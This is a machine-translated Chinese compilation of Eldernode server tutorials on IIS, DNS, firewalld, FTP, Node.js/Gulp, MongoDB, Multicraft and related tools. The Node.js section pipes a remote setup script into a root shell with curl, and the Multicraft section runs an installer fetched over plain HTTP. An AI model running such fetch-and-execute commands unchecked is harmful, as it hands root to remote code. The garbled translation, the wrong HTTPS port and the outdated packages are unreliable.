如何在 IIS Server 2019 中配置默认站点?在上一篇文章中,我们教过你如何在 Windows Server 2019 上安装 IIS Web Server。如你所知,通过安装 IIS ,默认创建一个名为默认网址的网站,可以用来测试 IIS 的健康状况。
该网站被配置为通过端口 80 响应来自 HTTP 协议的用户请求,端口 80 是分配给网络服务器的所有不属于特定网站的 IP(全部未分配)。
我们将通过了解其文档根的位置以及如何在其中托管一个简单网站来使用默认站点。这样,你就可以上传你的文件并启动你的网站和配置。
1) 打开默认站点
要打开 IIS 管理器,执行以下操作:
–首先,按下窗口的键。
–然后搜索服务器管理器运行它。
–从工具菜单中,点击互联网信息服务(IIS)管理器。
一旦您的 IIS 管理器打开,展开起始页下的服务器名称,并进一步展开 站点文件夹以显示默认站点。
展开服务器名。
下一步,暴露默认的站点。
2) 如何查看其档案
默认站点将其文件存储在特定目录中。
要显示这些信息,右键点击,选择管理网站,然后选择高级设置,如下图所示:
这将打开一个弹出窗口,显示所有的默认站点信息,如通常所知的文件或文档根、启用的协议,甚至是绑定。
如果您点击物理路径,在其最右侧会出现一个按钮,您可以在此选择一个不同的文档根目录。
3) 默认单据
IIS 管理器中的“默认文档功能帮助您指定当客户端没有从网络服务器请求特定文件时返回的默认文件。
双击上面的,查看显示的文件。它们是按优先顺序排列的。
在文件根目录中创建一个index.html文件,并检查它是否被加载。
打开您想要的浏览器并在那里登记。
可以看到下载成功。
亦作,见:
2。教程在 Windows Server 2019 中配置 NTP 服务器
3。教程在 Windows IIS Server 2019 上配置虚拟目录
4。如何在 Windows Server 2019 上安装和配置 Hyper-V
5。如何在 Windows Server 2019 上安装 Active Directory
6。如何在 Windows 服务器上安装和配置 Windows 管理中心
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
如何在 IIS Server 2019 中配置默认站点?
好运。
教程在 Windows Server 2016 上配置 DNS-elder node 博客
原文:https://blog.eldernode.com/configure-dns-on-windows-server-2016/
在本教程中,我们要一步步学习如何在 Windows Server 2016 上安装和配置 DNS。
注意:在虚拟服务器上安装 DNS 之前,您必须静态设置服务器的 IP 地址,否则您将在安装过程中遇到错误。
教程如何在 Windows Server 2016 上安装和配置 DNS
DNS 代表域名系统,一般意义上负责将域名翻译成 IP 地址。
DNS 内有区域,当网络管理员安装和配置时,使它们使用它们的网络域名并使用它们。
在 Windows Server 2016 上安装 DNS
1-首先打开您的服务器管理器。
2.单击添加角色和功能以打开添加角色页面。
3.在打开的页面上,单击下一步。
4.然后单击基于角色或基于功能的安装,并单击下一步。
5-在此步骤中,选择从服务器池中选择一个服务器,并在下面的框中选择您的服务器的名称,最后单击下一步。
6-在本节中,找到短语 DNS 服务器并检查它。
检查 DNS 服务器后,Windows 会给你一条消息,说明你需要安装一些必要的功能来控制 DNS,在这一部分点击添加功能,然后点击下一步。
7-不加修改地传递功能和 DNS 服务器页面,并在最后单击安装。
然后等待 DNS 服务器安装到您的服务器上。
如何在 Windows Server 2016 中打开 DNS 管理控制台
在 Windows VPS 上安装了完整的 DNS 服务器 roll 之后,2016 服务器将解释如何以几种不同的方式打开 DNS 管理,或 DNS 管理控制台。
1:从开始菜单打开 DNS 控制台
a)打开开始菜单,选择管理工具。
b)在打开的页面上,单击 DNS 打开 DNS 管理控制台。
2:从服务器管理器打开 DNS 管理控制台
a)打开服务器管理器控制台。
b)从“工具”菜单中,单击“DNS 管理”打开控制台。
3:从运行窗口打开 DNS 管理控制台
a)通过按键盘上的 Winkey + R 组合键打开运行窗口。
b)键入 dnsmgmt.msc,然后单击确定。
这将以多种方式打开 DNS 管理控制台。
在 centos 8 - Eldernode 上配置防火墙
原文:https://blog.eldernode.com/configure-firewalld-on-centos-8/
在本教程中,我们要向解释什么是 Firewalld 以及如何在 centos 8 等版本上配置 Firewalld。
我们将首先查看 Firewalld 以了解更多关于它的好处和特性,然后查看它的特性,最后设置 Firewalld 并对其进行配置。
什么是防火墙
据参考网站称,Firewalld 提供了一种动态管理的防火墙,支持定义网络连接或接口信任级别的网络/防火墙区域。它支持 IPv4、IPv6 防火墙设置、以太网网桥和 IP 集。运行时和永久配置选项是分开的。它还为服务或应用程序提供了直接添加防火墙规则的接口。
防火墙的好处
可以在运行时环境中立即进行更改。不需要重新启动服务或守护进程。
借助 Firewalld D-Bus 接口,服务、应用程序以及用户可以轻松调整防火墙设置。该界面是完整的,用于防火墙配置工具 firewall-cmd、firewall-config 和 firewall-applet。
更多 Firewalld 特性
- 完整的 D 总线 API
- IPv4、IPv6、网桥和 ipset 支持
- IPv4 和 IPv6 NAT 支持
- 防火墙区域
- 区域、服务和 ICMP 类型的预定义列表
- 简单服务、端口、协议、源端口、伪装、端口转发、ICMP 过滤器、丰富规则、区域中的接口和源地址处理
- 简单的服务定义,包括端口、协议、源端口、模块(Netfilter 助手)和目的地址处理
- 与木偶融合
- 用于在线和离线配置的命令行客户端
- 使用 gtk3 的图形配置工具
- 丰富的语言使区域中的规则更加灵活和复杂
- 区域中的定时防火墙规则
- 拒绝数据包的简单日志
- 直接接口
- 锁定:将可能修改防火墙的应用程序列入白名单
- 自动加载 Linux 内核模块
- 等等…
太好了。现在你知道防火墙了。我们现在将在 centos 8 上设置并配置 Firewalld。
在 centos 8 上配置 Firewalld
在 centos 上设置防火墙
关于在 centos 上设置 Firewalld,您知道的第一点是,默认情况下,Firewalld 安装在 centos 7 和更高版本上,但是如果您想在其他 Linux 发行版上安装它,或者 Firewalld 没有预安装在您的 centos 服务器上。请按照这个命令安装它。
yum install Firewalld -y
了解更多: 如果你想在你的 Ubuntu 或者 Debian 发行版上安装 Firewalld,你必须使用 APT 命令而不是 YUM 。
使用防火墙服务
要在 centos 上启动和停止防火墙服务,请遵循以下命令。
systemctl start Firewalld systemctl stop Firewalld
为了重启防火墙服务,你可以使用这个命令。
systemctl restart Firewalld
在您了解了启动、停止和重启 Firewalld 服务之后,您必须知道如何在启动时启用和禁用 Firewalld 服务。
启动时启用或禁用防火墙服务
要在 centos 上启用 Firewalld 服务,请执行以下命令。
systemctl enable Firewalld
或者如果您想在启动时禁用 Firewalld 服务,请执行以下命令。
systemctl disable Firewalld
检查和验证服务
有时,您需要检查防火墙服务状态。要检查和验证防火墙,您可以使用以下命令。
firewall-cmd --state systemctl status Firewalld
这两个命令都工作得很好,您可以了解并验证防火墙状态。
熟悉当前防火墙规则
好了,现在你知道了防火墙服务,在此之后的在 centos 8 上配置防火墙文章我们想告诉你一些在防火墙上管理和检查规则和情况的命令。
探索默认区
firewall-cmd --get-default-zone
执行该命令后,您将看到如下输出
output public if you want to print all enable rule on your Firewalld service, use following command firewall-cmd --list-all after Enter the command, you will see output like this: output public (default, active) target: default icmp-block-inversion: no interfaces: ens192 sources: services: ssh dhcpv6-client ports: protocols: masquerade: no forward-ports: source-ports: icmp-blocks: rich rules:
改变界面的区域
例如,我们可以通过键入以下命令将我们的 ens192 接口转换到“私有”区域:
firewall-cmd --zone=private --change-interface=ens192
调整默认区域
如果您的所有接口都可以由一个区域最好地处理,那么选择最佳默认区域并将其用于您的配置可能会更容易。
例如,在以下命令中,我们将公共区域设置为默认区域。
firewall-cmd --set-default-zone=public
为您的应用程序设置规则
向区域添加服务
最简单的方法是将您需要的服务或端口添加到您正在使用的区域。
firewall-cmd --zone=public --add-service=http
在这个命令中,我们将 HTTP 服务添加到我们的区域以及现在可用的端口 80 和 433。
关于所有服务的更多信息,你可以在 Firewalld 上添加,使用下面的命令来显示所有可用的服务。
firewall-cmd --get-services
添加所需的服务后,您必须键入以下命令来重新加载 Firewalld
在 centos 8 上重装防火墙
firewall-cmd --reload
检查防火墙上的所有服务使能
现在,您可以使用以下命令检查 Firewalld 上所有可用的服务
firewall-cmd --zone=public --list-services
好的,现在在检查服务之后……确保你添加到防火墙的规则有效。您可以为每次使用添加永久规则。因为现在您的规则将在重启防火墙服务或重启 CentOS 后被删除。所以你必须使用–永久开关来改变永久规则。
firewall-cmd --zone=public --permanent --add-service=http
输入命令并重新加载防火墙后,该服务将永久添加到您的防火墙上。
打开防火墙上的端口
在防火墙服务上打开你最喜欢的端口,你可以像服务一样,但有所不同。
例如,如果您想在防火墙上添加端口 2245 ,您可以使用以下命令。
firewall-cmd --zone=public --add-port=2245/tcp
但是如果你想永久添加端口,你必须像这样使用–永久。
firewall-cmd --zone=public --permanent --add-port=2245/tcp
如果需要打开端口范围,可以使用这样的命令。
firewall-cmd --zone=public --permanent --add-port=4990-4999/udp
结论
在这篇文章“在 centos 8 上配置 Firewalld”中,我们试图以一种简单的方式谈论 centos 上的 Firewalld,以及您必须知道的所有命令,但是 Firewalld 有许多命令和功能,您可以使用丰富的语言,创建自己的区域,创建您想要的服务和端口等等…
我们尝试在 Firewalld 上发布另一篇关于高级设置的文章,稍后再解释其他高级的东西。
感谢您的关注,您可以在下面评论,并提出您的问题或任何问题。还有,你可以在 Eldernode 上的 提问页面提出你所有关于 VPS 和 Linux 的问题。
教程在 Ubuntu 21.04 - Eldernode 博客上配置 Flameshot
原文:https://blog.eldernode.com/configure-flameshot-on-ubuntu/
Flameshot 是一个开源的屏幕截图工具,既可以使用图形用户界面,也可以使用命令行界面。由于 Linux 发行版的截图工具并不完善,您可以使用 Flameshot 的功能。这个强大、简单、易用的截图软件可以即时编辑图像,并且可以定制。加入我们这篇文章来回顾一下教程在 Ubuntu 21.04 上配置 Flameshot。在 Eldernode 上选择你想要的包,购买自己的 Ubuntu VPS 。
在 Ubuntu 21.04 上配置 Flameshot
Flameshot 是用 C++用 Qt5 框架写的。它是为 Linux、macOS 和 T2 Windows 系统设计的注释灵活工具。在 Ubuntu 中按“打印屏幕”按钮就可以截图了。但是内置的截图功能并没有提供很多选项,但是 Flameshot 可以让你在截图上做更多的事情。接下来,你将学习如何在 Ubuntu 21.04 上安装和配置 Flameshot。
在 Ubuntu 21.04 上安装 Flameshot 的先决条件
为了让本教程更好地工作,请考虑以下先决条件:
_ 拥有 Sudo 权限的非 root 用户。要进行设置,请遵循 Ubuntu 20.04 上的初始服务器设置。
如何在 Ubuntu 21.04 上安装 Flameshot 工具
Flameshot 不仅易于使用,而且它的安装过程也是最简单的。运行以下命令来更新您的系统,并在 Ubuntu 21.04 上安装 Flameshot 工具:
sudo apt update
sudo apt install flameshot
如何在 Ubuntu 21.04 上配置 Flameshot
现在,您已经安装并启动了应用程序,您可以开始配置它了。要配置 Flameshot,您可以键入 flameshot config 或从托盘图标菜单中选择配置。
这样,您将能够在启动时显示要启动的托盘图标或火焰画面。然后,您还可以选择在 GUI 中显示什么按钮,以及您希望界面是什么颜色。
在撰写本文时,无法使用打印屏幕按钮来截图。但是将来可能会添加此功能。所以,自己覆盖打印屏幕快捷键。
要禁用快捷键,请遵循以下路径:
1-打开系统设置应用程序
2-选择设备,然后转到键盘。
3-向下滚动到截图。
4-选择“保存截图到图片
5-点击删除禁用快捷方式。
6-一直滚动到底部,点击加按钮。
最后,给它一个名称,键入你想要绑定到快捷键的 Flameshot 命令,并将快捷键设置为 Print Screen。
如何在 Ubuntu 21.04 上使用 Flameshot 工具
有两种不同的方式来使用 Flameshot 应用程序。在这一节,你将学习他们两个选择你最喜欢的。
1-在 GUI 模式下使用 flame shot
第一种方法,你可以通过应用菜单在 Ubuntu 21.04 中启动它。在活动搜索栏中搜索 Flameshot,如下图所示:
然后,点击搜索结果,查看 Ubuntu 21.04 系统任务栏上的 Flameshot 图标。点击此图标启动一个菜单,该菜单将为您提供使用此截图工具的各种选项。点击图标,选择截图即可开始。
你将不会被限制在一个镜头,选择屏幕的一部分进行截图。选择后,通过拖动不同的角来细化它。当你得到你的选择,你将能够用箭头注释截图,在上面画画,或者模糊部分。完成标记后保存您的屏幕截图。此外,您可以将它复制到剪贴板或直接在另一个应用程序中打开它。
2-从命令行使用 Flameshot
如果你不想让应用程序一直在你的托盘中运行,使用这种方法。你也可以用 CLI 模式做你在 GUI 模式中学到的所有事情。要启动 flameshot,只需从终端运行“ flameshot ”。
要获取整个桌面的屏幕截图,请运行以下命令。它还会询问您将它保存在哪里:
flameshot full
要复制到剪贴板,请使用下面的命令:
flameshot full -c
此外,你可以有一些设置时间。以下命令将在 5 秒钟后截图:
flameshot full -c -d 5000
然后,您可以使用以下命令将其保存到您的桌面:
flameshot full -p ~/Desktop -d 5000
运行以下命令,启动该应用程序完整 GUI 版本使用的相同界面:
flameshot gui
这样 app 就不需要在托盘中运行了。
结论
在本文中,您了解了如何在 Ubuntu 21.04 上配置 Flameshot。安装屏幕截图工具不是必须的,但会提供详细的屏幕截图来报告错误或出现的问题。您可能更喜欢使用 Flameshot,而不是全屏截图并在 GIMP 中编辑结果图像。
如何在 windows server 2019 - Eldernode 上配置 FTP 服务器
原文:https://blog.eldernode.com/configure-ftp-server-on-windows-server/
如何在 windows server 2019 上配置 FTP 服务器?在之前的文章中,我们教过你如何在 Windows Server 2019 上安装 FTP 服务器。在本文中,我们将教你如何在 Windows Server 2019 上配置 FTP 服务器。
您可以从 eldernode 选择您最理想的 Windows VPS Server 软件包。
教程在 windows server 2019 上配置 FTP 服务器
在开始配置之前,需要在 Windows Server 2019 上安装 FTP 服务器。
我们将在被动模式下配置 FTP 服务器。按照以下步骤配置 FTP。
1。T3 打开服务器管理器。
2。T3 从工具选项卡中选择互联网信息服务(IIS)管理器,如下图所示。
3。从左栏点击你的服务器。
4。 点击 FTP 防火墙支持选项,点击右栏开放功能。
5。在动作部分的右栏中T3,点击应用。
6。 下面的小窗口会出现,提示您需要允许我们在防火墙中配置的端口范围。
点击确定。然后重启 FTP 服务器使更改生效。
7。T3 在 Windows 搜索框中搜索服务。
打开服务应用后,右键点击微软 FTP 服务器上的。选择重启。
8。 使用如何在 Windows Server 防火墙上打开端口在您的防火墙上添加端口。另外,包括端口 21。
它应该如下图所示:
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
Goodluck.
教程在 CentOS 8 | CentOS 7 - Eldernode 上配置 GIMP 2.10
原文:https://blog.eldernode.com/configure-gimp-2-10-on-centos-8/
教程在 CentOS 8 和 CentOS 7 上安装和配置 GIMP 2.10。GIMP(GNUImageManimationPprogram)是一款免费开源的光栅图形编辑器。您可以使用它来操作、修饰和编辑图像,还可以自由绘制、在不同的图像文件格式之间进行代码转换,以及执行更专业的任务。在开始阅读本指南之前,请尝试在 Eldernode 中选择您的完美 CentOS VPS 套装,并购买您自己的套装。
教程在 CentOS 8 | CentOS 7 上安装 GIMP 2.10
GIMP 特性
本教程收集时最新发布的 GIMP 版本是 GIMP 2.10.22。以下是它的一些特点。
1- 支持多种文件格式
2- 硬件支持
3- 数码修图
4- 照片增强
5- 可定制界面
有哪些发布亮点
GIMP 2 . 10 . 22 是一个 bug 修复版本,它首次包含了核心代码的大部分维护变更。
强化了 HEIC 和新增加的 AVIF 支持
大量改进了对 PSP 文件格式的支持
改进的多层 TIFF 导出
更好地处理 Exif " Orientation "元数据
在 GEGL 操作工具中新增了样本合并选项
如何在 CentOS 8 上安装和配置 GIMP 2.10
为了让本教程更好地发挥作用,请考虑以下先决条件:
1- 拥有 sudo 权限的非 root 用户
2- 进行设置,遵循我们的初始设置 centos 8
而 Gimp 包可在安装 CentOS/RHEL 8 时默认添加的 AppStream 存储库中获得。
sudo dnf provides gimp
然后,您可以通过运行以下命令在 CentOS 8 上安装 Gimp 2.x:
sudo dnf -y install gimp
接下来,从您的菜单或通过键入以下命令启动 Gimp 图形编辑器:
gimp
运行以下命令以确认安装并检查软件包详细信息:
dnf info gimp
一旦安装完成,你可以从网页界面或桌面应用程序启动程序,如 Gnome,KDE 等
如何在 CentOS 7 上安装 GIMP 2.10
你无法想象在 CentOS 7 上安装 GIMP 有多容易。但这是因为您只需要一个安装命令。因此,不要再等待,执行以下命令:
sudo yum install gimp
当你看到下面的页面,这意味着一切正常。
结论
在本文中,您了解了更多关于 GIMP 本身的知识,以及如何在 CentOS 的两个最新版本上安装它。现在,您已经准备好享受一个大的图像处理工具箱,使您能够执行通道操作和图层,效果,亚像素成像和抗锯齿,以及转换,所有这些都与多级撤消。另外,你可以阅读更多关于如何在 CentOS 7 Linux 上安装 VNC 的内容。
如何在 Ubuntu 20.04[Focal Fossa]-elder node 上配置 Gulp.js
原文:https://blog.eldernode.com/configure-gulp-js-on-ubuntu-20-04/
一步步学习如何在 Ubuntu 20.04 【焦窝】上配置 Gulp.js。Gulp 是 Eric Schoffstall 用 JavaScript 编写的免费开源工具。Gulp 是节点的构建系统或任务管理器。Js 环境和 npm 包管理器。该工具用于前端的编程和开发。在 Gulp 的帮助下,一系列重复耗时的任务都可以自动完成。通过这种方式,程序员的工作变得稍微容易一点,项目执行的速度大大提高。在本文中,我们将教你如何在 Ubuntu 20.04 上配置 Gulp.js。如果需要购买 Ubuntu VPS 服务器,还可以在 Eldernode 中看到可用的包。
什么是 Gulp.js,有什么用途?
Gulp.js 是一个任务运行器,使用它你可以加快网页设计和开发中许多重复的任务和过程以及时间,并且享受网站设计!这个工具不只是前端程序员用的,它的包也可以用于服务器端编程。Gulp 使用小型、单一用途的包来执行各种任务,每个部分在一个包中完成工作。Gulp 目前有近 4000 种不同的包装。
比如代码压缩、优化、单元测试、将 Sass 文件转换为 CSS、创建 HTML 模板、压缩图像、创建本地主机环境等。可以尽可能容易地用吞咽来完成。只要安装 Gulp,这个工具就会自动为你做这些事情。
正如我们所说,Gulp 是一个基于 JavaScript 的工具,它基于节点流,可以在软件开发过程中自动化许多常见的任务。虽然 Gulp 有西兰花、Grunt 等竞争对手。,由于其流式传输和速度,它比竞争对手具有更高的价值。一般来说,使用 Gulp 您可以执行以下操作:
–轻松移动文件。(例如,从项目文件夹到 Web 文件夹)
–轻松合并文件。
–更改文件类型。(例如将 Sass 文件转换为 CSS)
–优化文件。(包括 CSS 文件、JavaScript、图片等。)
教程在 Ubuntu 20.04 焦窝上配置 gulp . js
在 Node.js 中编码时,Gulp 会帮助你自动识别并完成痛苦的编码段。它还通过不留下分号等来防止可能的错误。,并最终组织和优化您的代码。
要安装 Gulp,必须先安装 Node.js,然后再安装。因此,使用以下命令,首先在你的 Ubuntu 20.04 上安装 Node.js ,然后安装 Gulp:
注意: 要在 Ubuntu 20.04 上安装 Gulp,需要 root 权限或者 Sudo 用户。因此,如果不使用 root 用户输入命令,则必须在下一个命令之前输入 Sudo 命令。
如何在 Ubuntu 20.04 上安装 Node.js【焦点窝】
首先输入以下命令安装 Python 软件属性包:
apt-get install python-software-properties
现在输入以下命令下载并安装 Node.js:
curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -
apt-get install nodejs
您必须输入以下命令来显示 NPM 和节点版本。如果在输入这两个命令后都得到了正确的答案,这意味着这两个软件包都已正确安装。
node --version
npm --version
Node.js 在 Ubuntu Focal Fossa 上安装成功完成。
现在,在本教程的继续中,我们将安装 Gulp。
如何在 Ubuntu 20.04 上安装 Gulp.js【焦窝】
输入以下命令开始下载并安装 Gulp:
npm install -g gulp
安装后,输入以下命令以了解系统上安装的正确性和版本:
gulp --version
结论
今天,前端编程和站点实现已经经历了许多变化。单纯依靠 HTML 和 CSS 进行前端编程的网站比较少。今天,用户界面设计和编程技术如此先进,以至于一些程序员只专注于一个领域,比如前端。Gulp 是一种新技术,它让开发人员不必做重复性的、有时是乏味的工作。由于 Gulp 的重要性和应用性,我们在本文中尝试教大家如何在 Ubuntu 20.04 [Focal Fossa]上安装和配置 Gulp.js。
Plesk - Eldernode 博客上的教程配置邮件服务器设置
原文:https://blog.eldernode.com/configure-mail-server-settings-on-plesk/
每封电子邮件都通过一部分邮件服务器传送给预定的收件人。虽然消息看起来是立即发送的,但是部分操作是在邮件服务器的帮助下执行的。在本文中,我们将教您如何在 Plesk 控制面板上配置邮件服务器设置。另外,如果你想购买一个 Linux VPS 主机,你可以访问 Eldernode 中可用的软件包。
如何在 Plesk 上配置邮件服务器设置
什么是邮件服务器?
邮件服务器是管理网络上的消息并发送和接收电子邮件的软件。当你发送一封电子邮件时,它会通过一系列电子邮件服务器到达目的地。邮件服务器就像一个计算机网络,它的主要工作是交换电子邮件。邮件服务器具有特殊的功能和服务,用于将邮件从一个服务器发送到其他站点和电子邮件。
邮件服务器类型
根据相关邮件服务器是作为邮件的发件人还是收件人,它被视为以下类别之一:
- 发送邮件服务器也称为 SMTP 服务器
- 接收邮件服务器分为两大类,即 POP3 服务器和 IMAP 服务器。
POP3 服务器将收到和发出的邮件存储在本地 PC 驱动器上,而 IMAP 服务器总是将电子邮件的副本存储在服务器上。
在 Plesk 上配置邮件服务器设置
首先,你应该去设置。您可以在邮件部分看到三个链接:邮件服务器设置、病毒防护设置和垃圾邮件过滤器设置。邮件服务器设置和病毒防护设置都指向同一个页面。我们选择邮件服务器设置。
现在打开的页面上应该有 4 个标签:设置、黑名单、白名单和邮件队列。黑名单选项卡允许您阻止来自特定域的电子邮件,您可以从白名单选项卡允许来自特定 IP 范围的电子邮件。可以在邮件队列选项卡中找到当前排队的电子邮件。
转到“设置”标签,您可以设置邮件的最大大小或邮件帐户的最小密码强度。请注意,如果您将最小密码强度选项设置为高,客户应该设置太难的密码。
在中继选项部分,您可以控制服务器是否接受外发邮件,如果接受,何时需要授权。
您可以在“网络邮件”部分选择可供客户使用的网络邮件客户端。
您可以通过勾选 Parallels Premium Antivirus 选项来启用或禁用病毒防护。
在页面底部,您可以设置其他垃圾邮件防护选项。
最后,点击确定,就这样。
结论
在这篇文章中,我们教你如何在 Plesk 上配置邮件服务器设置。邮件服务器是邮件交换服务的提供商,用于发送邮件。电子邮件发送服务和交易是通过网络邮件完成的。我希望这篇教程对你有用,并且你喜欢它。
在 Almalinux 上配置 MongoDB 的两种方法
原文:https://blog.eldernode.com/configure-mongodb-on-almalinux/
随着全球数据量的增长,企业正在寻找新的方法来管理数据和信息。今天,关系数据库(SQL)和非关系数据库(NoSQL)被用来管理数据。非关系数据库之一是 MongoDB,它被认为是 NoSQL 小组中最流行的数据库。本文将解释在 Almalinux 上配置 MongoDB 的两种方法。 Eldernode 网站提供经济实惠的 Linux VPS 服务器,如果你想购买的话可以是最好的选择。
如何在 Almalinux 服务器上安装 MongoDB
MongoDB 是一个免费的、开源的、跨平台的数据库管理程序,属于 NoSQL 数据库的范畴。事实上,这个工具可以管理面向文档的信息,并存储或检索信息。它由 MongoDB Inc .开发,用 C++、C 和 JavaScript 语言编写。该数据库使用 JSON 文档,并在 GNU Affero 通用公共许可证和 Apache 许可证的联合许可下发布。
1-在 AlmaLinux 上安装 MongoDB
第一步是添加 MongoDB 存储库。如您所知, Almalinux 不包含 MongoDB 包,您应该创建如下所示的 MongoDB 存储库:
sudo vim /etc/yum.repos.d/mongodb-org.repo
并添加以下配置,以便能够安装最新版本:
[mongodb-org-6.0] name=MongoDB Repository baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/6.0/x86_64/ gpgcheck=1 enabled=1 gpgkey=https://www.mongodb.org/static/pgp/server-6.0.asc
现在使用下面的命令更新系统存储库,将 MongoDB 存储库与系统同步:
sudo dnf update
是时候在您的 AlmaLinux 上安装 MongoDB 了。为此,只需运行以下命令:
sudo dnf install mongodb-org
按 Y 和回车导入 MongoDB GPG 密钥。
您可以使用以下命令验证 MongoDB 版本的安装:
mongod --version
现在检查 MongoDB 状态,如下所示:
sudo systemctl status mongod
您需要使用以下命令启动 MongoDB 守护进程:
sudo systemctl start mongod
并使用下面的命令启用:
sudo systemctl enable mongod
再次验证 MongoDB 状态,以确认它已经运行:
sudo systemctl status mongod
您可以使用下面的命令登录到 Mongo shell:
mongo
2-用 MongoDB 管理数据库
以下命令将显示当前的数据库。 MongoDB 默认提供一个测试数据库,称为 test:
> db
您可以使用以下命令创建数据库:
> use eldernode-db
MongoDB 将数据存储在称为文档的记录中,并采用类似 JSON 的格式。此外,条目以键值对的形式存在。
在这一步中,创建一个文档并添加一些数据,如下所示。记得在 MongoDB 提示符下添加这个,并按下 Enter :
db.students.insertOne( { "First Name" : "Marilyn", "Last_Name" : "Bisson", "City" : "Piscataway", "Id No." : 123456, "Age" : 24 } )
您可以使用下面的命令查看数据库中的文档:
> show collections
以下命令可以显示文档中存储的数据:
> db.students.find()
如果要删除文档,请输入以下命令:
db.students.drop()
就是这样!
结论
MongoDB 是可以用于数据库管理的 NoSQL 数据库之一。在本文中,我们向您介绍了 MongoDB,并教您如何以两种方式在 AlmaLinux 上配置 MongoDB。我希望这篇教程对你有用,并帮助你在 AlmaLinux 上安装 MongoDB。如果你面临任何问题或有任何疑问,可以在评论区联系我们。
教程在 Ubuntu 22.04 上配置 Multicraft
原文:https://blog.eldernode.com/configure-multicraft-on-ubuntu-22-04/
主机和服务器中的控制面板便于管理和提高性能。他们的访问级别对每个用户来说可能是不同的,而那些在虚拟主机中使用的是基于网络的界面。在本文中,我们将教你如何在 Ubuntu 22.04 上配置 Multicraft。如果你想购买一台 Ubuntu VPS 服务器,你可以查看 Eldernode 网站上提供的软件包。
什么是多筏?
Multicraft 是一个强大的控制面板,可以在同一台机器上托管许多不同的《我的世界》服务器。它允许用户使用基于 web 的用户界面管理多台服务器。根据版本的不同,这些服务器可以位于多个物理机或虚拟机上。下载或使用该应用程序时没有年龄验证。您可以借助该面板免费版本的免费许可证来运行服务器。
多技能特点
–从一个位置管理任意数量的服务器
–可配置为支持任何类型的服务器
–独立于《我的世界》更新
–计费集成的可用性
–适合大规模部署
–内置插件浏览器
–可用的 API
–带有实时日志/聊天/播放列表的 Ajax 界面
–对香草、布丁和龙头的官方支持
在这篇来自 Ubuntu 培训系列的文章中,我们打算教你如何在 Ubuntu 22.04 上安装 Multicraft。
在 Ubuntu 22.04 上安装 multi craft
在这一节,我们将一步一步地解释如何在 Ubuntu 22.04 上安装 Multicraft。
首先,您应该使用以下命令安装 Apache2 和 SQLite :
apt-get install apache2 sqlite
接下来,运行以下命令安装 PHP 和所需的 PHP 扩展:
apt install lsb-release ca-certificates apt-transport-https software-properties-common -y
add-apt-repository ppa:ondrej/php
apt install php8.0
apt install php8.0-cli php8.0-common php8.0-imap php8.0-redis php8.0-xml php8.0-zip php8.0-mbstring
现在用下面的命令安装 Java :
apt-get install openjdk-8-jdk
在您喜欢的文本编辑器中打开 Apache 配置文件:
nano /etc/apache2/apache2.conf
然后找到 <目录/var/www/ > 并设置如下修改:
<Directory /var/www/> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory>
按 Ctrl+X 、 Y 和 Enter 保存并退出文件。
然后用下面的命令重新加载 Apache 配置:
service apache2 reload
现在是时候使用下面的命令下载 Multicraft 安装程序了:
wget -O multicraft.tar.gz http://www.multicraft.org/download/index?arch=linux64
运行以下命令提取安装程序:
tar -xzf multicraft.tar.gz
在 Ubuntu 22.04 上配置 组播
您可以导航提取的目录,如下所示:
cd multicraft/
现在您应该进入安装脚本:
./setup.sh
如果安装脚本问你一个问题,按回车使用默认答案。
如何在 Ubuntu 22.04 上访问 multi craft
首先,您应该打开 web 浏览器,使用以下命令找到服务器的 IP 地址:
http://IP-address/multicraft/install.php
现在点击开始安装和继续。
然后点击继续复制配置文件。
接下来,您应该点击初始化数据库来初始化数据库以供使用。然后再次点击继续。
点击登录,在登录表单中输入您的管理员名称和密码,然后再次点击登录。
最后,再次点击初始化数据库,然后按下保存按钮。
结论
借助 Multicraft 强大的控制面板,您可以在一台机器上托管多个《我的世界》服务器。在本文中,我们教你如何在 Ubuntu 22.04 上安装和配置 Multicraft。我希望这篇文章对你有用,你喜欢它。如有疑问,可在评论中联系我们。
如何配置。Debian 10 - Eldernode 上的 NET Core
原文:https://blog.eldernode.com/configure-net-core-on-debian-10/
了解如何配置。Debian 10 上的 NET Core 循序渐进。。Net Core 是由微软和。在 GitHub 上的网络社区。。Net Core 框架是完全跨平台的,可以在 Windows、Linux、Mac 上使用。它还用于各种设备、云空间和物联网相关的场景。在本文中,我们将介绍。Net Core 以及如何配置。Debian 10 上的 NET Core。如果需要购买 Linux VPS 服务器,可以在 Eldernode 中看到可用的包。
的主要特征是什么。网芯?
1。使用灵活: 它可以在你想要的应用中作为扩展使用。或者完全独立地安装在您的服务中,用于不同的用途。
2。跨平台能力: 能够在 Windows 、Linux、macOS 上安装;能够移植到其他操作系统。据微软和其他相关公司、设计师和开发商称,对其他操作系统、CPU 和应用程序的支持将随着时间的推移而增长和改善。
3。命令行工具: 所有源自不同场景的产品都可以作为命令行使用和编辑执行。
4。兼容性:得益于标准的使用。Net 核心库,Net 兼容. Net 框架,。Xamarin 和 Mono。
5。开源:了。Net Core 平台是完全开源的,使用 MIT 和 Apache 2 许可。
。Net 核心框架
–。Net 运行时,它提供了类型系统、程序集加载、垃圾收集器、本机互操作等一系列基本服务。
–一组框架库,包括基础数据类型、应用结构类型和基础应用工具。
–一组 SDK 工具和编译器,支持。Net Core SDk。
–dot net app 主机,用来运行。Net 核心应用程序。它的工作是选择运行时并托管它,提供程序集加载策略并运行应用程序。同样的“主机”也用于以类似的方式运行 SDK 工具。
net core 支持哪些语言?
C#、F#和 VB 都可以用来为。网芯。因为编译器运行在。Net Core,它可以让你在任何地方进行设计和开发。网芯本身可以。这意味着您不会直接使用编译器,而是通过 SDK 工具间接使用它们。
因为 C#罗斯林编译器和。Net 核心工具能够集成各种文本编辑器和 ide,包括 Visual Studio、Visual Studio 代码、Sublime Text 和 Vim。Net Core 已经成为一个适合开发者的平台。在他们喜欢的环境和操作系统中执行他们想要的编码。
教程配置。Debian 10 上的 NET Core
1。使用 sudo 特权帐户登录您的 Debain 系统。然后,要更新 apt 缓存,请打开终端并安装以下软件包:
